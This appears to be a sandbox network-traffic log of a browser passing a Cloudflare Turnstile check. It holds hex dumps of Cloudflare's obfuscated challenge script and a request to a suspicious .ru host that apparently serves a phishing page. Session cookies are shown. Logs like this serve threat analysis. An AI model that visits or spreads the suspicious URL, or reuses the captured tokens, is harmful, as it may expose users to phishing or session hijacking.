2024-12-20 23:35:55 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 53 79 57 4f 55 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.SyWOU3={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2024-12-20 23:35:55 UTC	1369	IN	Data Raw: 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 Data Ascii: turnstile_feedback_description":"Send%20Feedback","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%2
2024-12-20 23:35:55 UTC	1369	IN	Data Raw: 2c 66 55 2c 66 59 2c 66 5a 2c 67 35 2c 67 36 2c 67 77 2c 67 44 2c 67 48 2c 67 33 2c 67 34 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 31 34 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 35 37 29 29 2f 32 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 33 31 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 30 32 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 38 35 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 39 34 39 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 36 39 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 Data Ascii: ,fU,fY,fZ,g5,g6,gw,gD,gH,g3,g4){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1314))/1+-parseInt(gI(1757))/2+-parseInt(gI(431))/3(-parseInt(gI(902))/4)+parseInt(gI(1285))/5+parseInt(gI(949))/6(parseInt(gI(1569))/7)+-parseInt(g
2024-12-20 23:35:55 UTC	1369	IN	Data Raw: 3a 42 5b 67 4d 28 31 36 36 33 29 5d 28 6d 2c 45 2c 21 21 5b 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 42 5b 67 4d 28 37 36 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 37 27 3a 6f 3d 65 4d 5b 67 4d 28 31 35 39 38 29 5d 5b 67 4d 28 31 30 34 32 29 5d 3f 69 5b 67 4d 28 35 33 38 29 5d 28 27 68 2f 27 2c 65 4d 5b 67 4d 28 31 35 39 38 29 5d 5b 67 4d 28 31 30 34 32 29 5d 29 2b 27 2f 27 3a 27 27 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 66 5b 67 4d 28 31 32 32 36 29 5d 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 3f 66 5b 67 4d 28 31 32 32 36 29 5d 3d 4a 53 4f 4e 5b 67 4d 28 35 30 33 29 5d 28 66 5b 67 4d 28 31 32 32 36 29 5d 2c 4f 62 6a 65 63 74 5b 67 4d 28 38 39 39 29 5d 28 66 5b 67 Data Ascii: :B[gM(1663)](m,E,!![]);continue;case'6':B[gM(767)]=function(){};continue;case'7':o=eM[gM(1598)][gM(1042)]?i[gM(538)]('h/',eM[gM(1598)][gM(1042)])+'/':'';continue;case'8':f[gM(1226)]instanceof Error?f[gM(1226)]=JSON[gM(503)](f[gM(1226)],Object[gM(899)](f[g
2024-12-20 23:35:55 UTC	1369	IN	Data Raw: 29 29 26 26 28 6b 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6c 3d 6a 5b 31 5d 5b 67 4e 28 31 31 39 30 29 5d 28 6b 29 2c 6c 26 26 28 67 3d 6c 5b 31 5d 2c 68 3d 65 5b 67 4e 28 31 31 31 38 29 5d 28 70 61 72 73 65 49 6e 74 2c 6c 5b 32 5d 2c 31 30 29 2c 69 3d 70 61 72 73 65 49 6e 74 28 6c 5b 33 5d 2c 31 30 29 29 29 3a 67 3d 68 5b 67 4e 28 31 34 35 34 29 5d 28 69 2c 6a 5b 67 4e 28 31 35 39 38 29 5d 5b 67 4e 28 34 30 30 29 5d 29 29 3a 66 3d 4a 53 4f 4e 5b 67 4e 28 35 30 33 29 5d 28 64 29 3b 72 65 74 75 72 6e 20 6d 3d 7b 7d 2c 6d 5b 67 4e 28 31 34 39 32 29 5d 3d 66 2c 6d 5b 67 4e 28 31 31 30 33 29 5d 3d 67 2c 6d 5b 67 4e 28 31 31 36 36 29 5d 3d 68 2c 6d 5b 67 4e 28 39 33 30 29 5d 3d 69 2c 6d 5b 67 4e 28 31 32 32 36 29 Data Ascii: ))&&(k=/^\s*at\s+(.+):(\d+):(\d+)/,l=j[1][gN(1190)](k),l&&(g=l[1],h=e[gN(1118)](parseInt,l[2],10),i=parseInt(l[3],10))):g=h[gN(1454)](i,j[gN(1598)][gN(400)])):f=JSON[gN(503)](d);return m={},m[gN(1492)]=f,m[gN(1103)]=g,m[gN(1166)]=h,m[gN(930)]=i,m[gN(1226)
2024-12-20 23:35:55 UTC	1369	IN	Data Raw: 28 35 31 34 29 5d 28 73 65 74 49 6e 74 65 72 76 61 6c 2c 66 75 6e 63 74 69 6f 6e 28 68 46 29 7b 68 46 3d 68 45 2c 64 5b 68 46 28 31 34 31 33 29 5d 28 66 52 29 7d 2c 31 65 33 29 3a 65 26 26 64 5b 68 45 28 31 32 38 37 29 5d 28 65 5b 68 45 28 31 32 37 30 29 5d 2c 68 45 28 31 31 32 38 29 29 26 26 65 5b 68 45 28 31 33 34 38 29 5d 3d 3d 3d 68 45 28 31 33 37 31 29 26 26 64 5b 68 45 28 33 39 31 29 5d 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 2c 66 72 29 7d 29 2c 66 74 3d 21 5b 5d 2c 21 65 55 28 67 4a 28 31 30 32 32 29 29 26 26 28 66 52 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 63 2c 64 2c 65 2c 67 2c 68 2c 69 29 7b 28 69 64 3d 67 4a 2c 63 3d 7b 27 73 41 77 4f 54 27 3a 69 64 28 31 34 37 30 29 2c 27 46 6d 51 6e 71 27 3a 66 75 Data Ascii: (514)](setInterval,function(hF){hF=hE,d[hF(1413)](fR)},1e3):e&&d[hE(1287)](e[hE(1270)],hE(1128))&&e[hE(1348)]===hE(1371)&&d[hE(391)](clearInterval,fr)}),ft=![],!eU(gJ(1022))&&(fR(),setInterval(function(id,c,d,e,g,h,i){(id=gJ,c={'sAwOT':id(1470),'FmQnq':fu
2024-12-20 23:35:55 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 49 2b 4a 7d 2c 73 5b 69 6a 28 36 37 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 49 2c 4a 29 7b 72 65 74 75 72 6e 20 49 2b 4a 7d 2c 78 3d 73 2c 78 5b 69 6a 28 31 31 30 34 29 5d 28 6e 75 6c 6c 2c 69 29 7c 7c 78 5b 69 6a 28 31 35 35 39 29 5d 28 76 6f 69 64 20 30 2c 69 29 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 43 3d 66 58 28 69 29 2c 68 5b 69 6a 28 37 39 37 29 5d 5b 69 6a 28 38 39 39 29 5d 26 26 28 43 3d 43 5b 69 6a 28 38 35 36 29 5d 28 68 5b 69 6a 28 37 39 37 29 5d 5b 69 6a 28 38 39 39 29 5d 28 69 29 29 29 2c 43 3d 68 5b 69 6a 28 31 33 37 35 29 5d 5b 69 6a 28 31 35 37 34 29 5d 26 26 68 5b 69 6a 28 36 37 30 29 5d 3f 68 5b 69 6a 28 31 33 37 35 29 5d 5b 69 6a 28 31 35 37 34 29 5d 28 6e 65 77 20 68 5b 28 69 6a 28 36 37 30 29 29 5d 28 43 29 29 Data Ascii: return I+J},s[ij(676)]=function(I,J){return I+J},x=s,x[ij(1104)](null,i)\|\|x[ij(1559)](void 0,i))return o;for(C=fX(i),h[ij(797)][ij(899)]&&(C=C[ij(856)](h[ij(797)][ij(899)](i))),C=h[ij(1375)][ij(1574)]&&h[ij(670)]?h[ij(1375)][ij(1574)](new h[(ij(670))](C))
2024-12-20 23:35:55 UTC	1369	IN	Data Raw: 6e 5d 29 7b 66 6f 72 28 6f 3d 30 3b 6b 5b 69 6d 28 31 33 31 31 29 5d 28 6f 2c 69 5b 6c 5b 6d 5d 5d 5b 69 6d 28 36 38 36 29 5d 29 3b 2d 31 3d 3d 3d 68 5b 6e 5d 5b 69 6d 28 31 35 38 36 29 5d 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 26 26 28 66 5a 28 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 7c 7c 68 5b 6e 5d 5b 69 6d 28 31 31 32 35 29 5d 28 27 6f 2e 27 2b 69 5b 6c 5b 6d 5d 5d 5b 6f 5d 29 29 2c 6f 2b 2b 29 3b 7d 65 6c 73 65 20 68 5b 6e 5d 3d 69 5b 6c 5b 6d 5d 5d 5b 69 6d 28 38 35 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 76 2c 69 6f 29 7b 72 65 74 75 72 6e 20 69 6f 3d 69 6d 2c 6b 5b 69 6f 28 35 31 36 29 5d 28 27 6f 2e 27 2c 76 29 7d 29 7d 2c 65 4d 5b 67 4a 28 35 38 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 69 43 2c 65 29 7b 65 3d 28 69 43 3d 67 4a 2c 7b 27 68 49 52 55 4c Data Ascii: n]){for(o=0;k[im(1311)](o,i[l[m]][im(686)]);-1===h[n][im(1586)](i[l[m]][o])&&(fZ(i[l[m]][o])\|\|h[n][im(1125)]('o.'+i[l[m]][o])),o++);}else h[n]=i[l[m]][im(855)](function(v,io){return io=im,k[io(516)]('o.',v)})},eM[gJ(585)]=function(c,iC,e){e=(iC=gJ,{'hIRUL
2024-12-20 23:35:55 UTC	1369	IN	Data Raw: 75 72 6e 20 68 3c 69 7d 2c 27 41 43 6f 42 4a 27 3a 6a 52 28 36 36 32 29 2c 27 51 4c 51 56 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 64 52 44 45 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 4e 58 42 63 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 68 6b 73 64 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4d 6a 49 41 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 41 57 4e 69 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 58 4b 76 45 56 27 3a 6a 52 28 37 34 35 29 2c 27 74 73 73 68 Data Ascii: urn h<i},'ACoBJ':jR(662),'QLQVp':function(h,i){return h(i)},'dRDEj':function(h,i){return h<<i},'NXBcF':function(h,i){return i\|h},'hksdg':function(h,i){return h(i)},'MjIAl':function(h,i){return i==h},'AWNiQ':function(h,i){return h(i)},'XKvEV':jR(745),'tssh
2024-12-20 23:35:55 UTC	1369	IN	Data Raw: 2c 27 73 43 63 67 67 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 29 7b 72 65 74 75 72 6e 20 4f 3e 3e 3e 50 7d 2c 27 5a 6c 41 4a 47 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 2c 51 29 7b 72 65 74 75 72 6e 20 4f 28 50 2c 51 29 7d 2c 27 76 71 4b 4d 78 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 2c 51 29 7b 72 65 74 75 72 6e 20 4f 28 50 2c 51 29 7d 2c 27 57 67 48 79 69 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 29 7b 72 65 74 75 72 6e 20 4f 26 50 7d 2c 27 54 4f 59 74 6e 27 3a 66 75 6e 63 74 69 6f 6e 28 4f 2c 50 2c 51 2c 6a 57 29 7b 72 65 74 75 72 6e 20 6a 57 3d 62 2c 64 5b 6a 57 28 31 31 37 34 29 5d 28 4f 2c 50 2c 51 29 7d 7d 2c 64 5b 6a 58 28 31 34 35 32 29 5d 28 6e 75 6c 6c 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 42 3d 7b 7d 2c 43 3d 7b 7d 2c 44 3d 27 Data Ascii: ,'sCcgg':function(O,P){return O>>>P},'ZlAJG':function(O,P,Q){return O(P,Q)},'vqKMx':function(O,P,Q){return O(P,Q)},'WgHyi':function(O,P){return O&P},'TOYtn':function(O,P,Q,jW){return jW=b,d[jW(1174)](O,P,Q)}},d[jX(1452)](null,i))return'';for(B={},C={},D='

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:55 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/1gq28/0x4AAAAAAA01zeNo8XyUDmXH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:55 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 23:35:55 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f53739b8ed0c35d-EWR alt-svc: h3=":443"; ma=86400
2024-12-20 23:35:55 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:55 UTC	1351	OUT	GET /favicon.ico HTTP/1.1 Host: gadk.quantumdhub.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://gadk.quantumdhub.ru/HX8hiLPadaz1N7WrltpPjHg34q_2C98ig/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InZpRlNVMjlYSm9ZcXFqbWpXVGtFWlE9PSIsInZhbHVlIjoieXoxNG9xYWtqcGRDUkZOMXFtT1hZZTFRZjNXM0RxU3Y2WUIxUHpCV0NKTThnQ09ML3hqcjRnRXd2QndiU1Y3K0xvQjlXVlFsZFcxckE4bnMvQnVMTHhOVXl3aWgzV1VicjgrQzhIWG9lNUEzTVRUajlJOXYyNHlhblhKM1drTUwiLCJtYWMiOiJjNDE2Mzk2NmI4MTJmZjNlMzY0MTkyYWIzZWExNTBlOTZiYTlmMDkzNjcxODkzNWEwNDM3MTE2ZWQyNWEzMWU0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFJS2xRSlN4VVZLdXRCc0pOYk5VZnc9PSIsInZhbHVlIjoiazlhQkxNV3F6OVdHWDZ6ZE9LOTVWcnZORmxTOVBqQ0kxeXkzdm5xZ0VmeXhCNlZDMU5rMC9zUmFsY1cwNXVMUlFzK3kyNTJQZGNGNFIvK3hEbXdCbnV0MTVFV0JsakZSTTN0d1JXbmtmTDBub1RPc3F6OW10b0w3c2tpcU5QcnciLCJtYWMiOiI2NjAxNzk2NGU1MmQzYjc1YjVjYTQ4MGVhMTczZWNhZGIxYjBjZDQwYWIyNzY5MjUyNzQ5M2MwZDNiNDE3NzY5IiwidGFnIjoiIn0%3D
2024-12-20 23:35:56 UTC	1059	IN	HTTP/1.1 404 Not Found Date: Fri, 20 Dec 2024 23:35:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4Zs16ks2siptKF0TTTImZcm1g8hmLIveGGK5ITF%2FStCvWAItQyCIHNRek7Du8k5yIEIQ8yqHdqLRiNw7ijlbbW6s48H58bHYSbVtsLqb8dlqa%2FQgnM7j7qPyOl4tAA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1230&min_rtt=1208&rtt_var=360&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2265&delivery_rate=2283911&cwnd=251&unsent_bytes=0&cid=3f35405dad639a9f&ts=125&x=0" CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 8f53739fcfb27d0e-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1961&min_rtt=1950&rtt_var=739&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1929&delivery_rate=1497435&cwnd=243&unsent_bytes=0&cid=57a8c6845244f4ca&ts=9959&x=0"
2024-12-20 23:35:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:56 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:57 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 23:35:57 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8f5373a618c0728f-EWR alt-svc: h3=":443"; ma=86400
2024-12-20 23:35:57 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-12-20 23:35:57 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/646785597:1734736264:AViGtQzSaaabc8hrjDXP21IkLtA_JA6kCdlbd7_lW4U/8f53738f5cfa15bb/Z6QE2UCD8GP1ik6GkC.hfElbKlamBauzDmHzwaBFQLs-1734737753-1.1.1.1-9mi5jcAkowfj88LcB7QDKM3IIlqsh0_ISo9UR_Wu85cb0Ya_9q16gt77fpCmc6aN HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3273 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Z6QE2UCD8GP1ik6GkC.hfElbKlamBauzDmHzwaBFQLs-1734737753-1.1.1.1-9mi5jcAkowfj88LcB7QDKM3IIlqsh0_ISo9UR_Wu85cb0Ya_9q16gt77fpCmc6aN sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/1gq28/0x4AAAAAAA01zeNo8XyUDmXH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-20 23:35:57 UTC	3273	OUT	Data Raw: 76 5f 38 66 35 33 37 33 38 66 35 63 66 61 31 35 62 62 3d 25 32 62 4f 67 49 44 49 69 49 6c 49 5a 49 4d 49 2d 73 51 76 73 51 53 79 35 53 35 48 39 37 35 39 51 35 79 68 48 45 35 6c 68 51 70 73 51 68 45 38 51 32 72 49 45 24 6e 53 72 24 44 50 4f 35 54 51 4b 79 69 45 51 71 69 49 51 4c 62 51 39 78 55 51 37 64 79 51 48 67 50 49 70 72 51 55 49 69 44 64 51 4d 73 24 51 6d 35 51 39 58 73 51 32 55 65 75 71 37 49 70 36 50 35 37 50 49 75 45 64 68 65 2b 62 6c 67 51 75 76 31 2d 72 51 53 49 6e 45 51 68 49 32 4c 72 51 5a 58 5a 6e 24 51 36 4c 78 45 41 4b 79 24 2d 4d 24 6f 61 4d 63 53 77 68 69 73 50 51 69 4c 69 32 62 24 51 2d 79 51 65 4c 51 51 62 76 32 79 51 32 34 44 6e 5a 32 79 51 72 6f 4f 62 6e 24 35 58 6b 2b 34 62 4d 67 51 2b 77 73 53 42 6c 61 34 51 62 32 4c 2d 72 44 44 34 Data Ascii: v_8f53738f5cfa15bb=%2bOgIDIiIlIZIMI-sQvsQSy5S5H9759Q5yhHE5lhQpsQhE8Q2rIE$nSr$DPO5TQKyiEQqiIQLbQ9xUQ7dyQHgPIprQUIiDdQMs$Qm5Q9XsQ2Ueuq7Ip6P57PIuEdhe+blgQuv1-rQSInEQhI2LrQZXZn$Q6LxEAKy$-M$oaMcSwhisPQiLi2b$Q-yQeLQQbv2yQ24DnZ2yQroObn$5Xk+4bMgQ+wsSBla4Qb2L-rDD4
2024-12-20 23:35:57 UTC	767	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 23:35:57 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 160140 Connection: close cf-chl-gen: 6KHJNncUJLfZ0NFmtkz0x9J5Kmd0dhR9bNBjUNlhY+40qYAY0xQRceKaYVj2q2Dv6L5+IOSWt0JBeolH1REWxOemRA//ZWgGfgidA7XqSQsPiW4jSbVoletg7LwsEk2lDyB58IhqDOaT+9m+R6nSaRZ2jdu2Q4yxwi3EeENf+28gHnFLiGC/4HWKiZRQivZisiYT8KKXpNBFpwfWmUaqM4mEUzC8CCOFlMZ1sHtt9CdLuOEreWP9UMl1X3M3snpwqOzRNsZ+iSxDpTrGcm+F4zTwuG50g8gva3o9RVRhiJj0uG3T5+BLSS+t6y59MXH4DgHqnRCGZoj4GDsceL5fV9u+Tne1EpNIoS4Qk5fCP49GPjivxjUhffMLLnE9xSZKxnRRNfIUwr2pQIstKEdVJJI02Bf0J5hVCZSGR/xLqlqbWAHIXoWd/BiaXUhPNtPN+Y/8zUZ+3EvAcusd4WSbOYdjtpumdjUDCmcgOoY6YFbxisPk4PT0vAaA8CqljLEvsQ==$T1uctGuKXfk1cVza Server: cloudflare CF-RAY: 8f5373a879544331-EWR alt-svc: h3=":443"; ma=86400
2024-12-20 23:35:57 UTC	602	IN	Data Raw: 58 32 4e 7a 55 34 35 73 6c 4a 5a 58 69 48 4b 49 69 57 78 71 65 6d 79 53 6b 5a 64 7a 70 6f 64 2b 70 35 68 68 66 49 4f 6d 6e 33 32 6b 67 34 78 76 73 59 53 74 65 4b 32 45 70 33 57 35 75 4b 79 75 75 4b 2b 37 72 70 75 61 74 5a 78 37 6b 71 4c 4a 68 73 6e 4d 69 38 44 53 69 74 43 70 73 73 6d 6f 7a 63 37 53 6c 34 2b 64 7a 4c 48 61 33 4c 6e 67 34 36 57 79 74 2b 53 7a 34 75 50 5a 78 61 6e 63 37 65 76 53 34 50 48 75 71 66 47 7a 38 72 6e 4c 2b 2f 33 32 39 75 33 4b 38 50 73 48 41 4c 30 42 39 77 6f 44 41 76 6e 57 42 4d 30 4c 43 38 33 6d 44 77 38 55 7a 2b 4d 61 35 2b 6e 6d 45 41 33 71 32 75 76 31 48 41 44 77 32 52 48 70 45 78 34 46 44 65 63 75 41 79 77 73 49 50 45 76 48 7a 6a 79 38 2f 67 53 38 7a 73 74 2f 42 63 54 4c 52 6f 2b 42 54 33 2b 46 30 4d 7a 46 79 63 67 4f 54 30 Data Ascii: X2NzU45slJZXiHKIiWxqemySkZdzpod+p5hhfIOmn32kg4xvsYSteK2Ep3W5uKyuuK+7rpuatZx7kqLJhsnMi8DSitCpssmozc7Sl4+dzLHa3Lng46Wyt+Sz4uPZxanc7evS4PHuqfGz8rnL+/329u3K8PsHAL0B9woDAvnWBM0LC83mDw8Uz+Ma5+nmEA3q2uv1HADw2RHpEx4FDecuAywsIPEvHzjy8/gS8zst/BcTLRo+BT3+F0MzFycgOT0
2024-12-20 23:35:57 UTC	1369	IN	Data Raw: 42 43 4e 68 55 59 52 68 6f 6c 54 42 5a 4f 4e 52 74 64 5a 55 4e 43 55 56 70 48 4b 6a 6c 71 5a 6d 67 6f 50 53 35 61 5a 44 42 6c 62 57 4e 75 4e 6c 56 75 53 32 31 76 56 57 39 4c 57 34 4a 51 5a 6b 52 44 68 47 5a 38 56 49 42 45 66 48 64 39 52 34 46 4d 6b 47 4e 4f 66 34 47 57 64 31 47 52 6a 32 71 52 63 35 2b 67 62 70 2b 58 65 6e 46 6a 67 49 4a 7a 5a 33 2b 76 67 6d 65 6e 70 37 53 78 68 37 57 6a 70 35 71 43 65 49 36 4b 6d 5a 32 75 6b 62 57 42 6d 5a 37 47 68 71 6d 6f 67 62 37 46 6d 59 43 77 73 62 79 65 79 4c 53 53 79 63 6d 57 7a 4d 4b 35 79 5a 7a 57 75 4c 44 4d 76 70 2b 74 77 64 75 7a 31 38 4b 38 34 63 50 67 79 36 2f 66 77 73 4c 77 71 74 44 53 77 4c 58 7a 7a 76 62 36 30 4f 6a 79 75 63 72 42 75 77 58 74 78 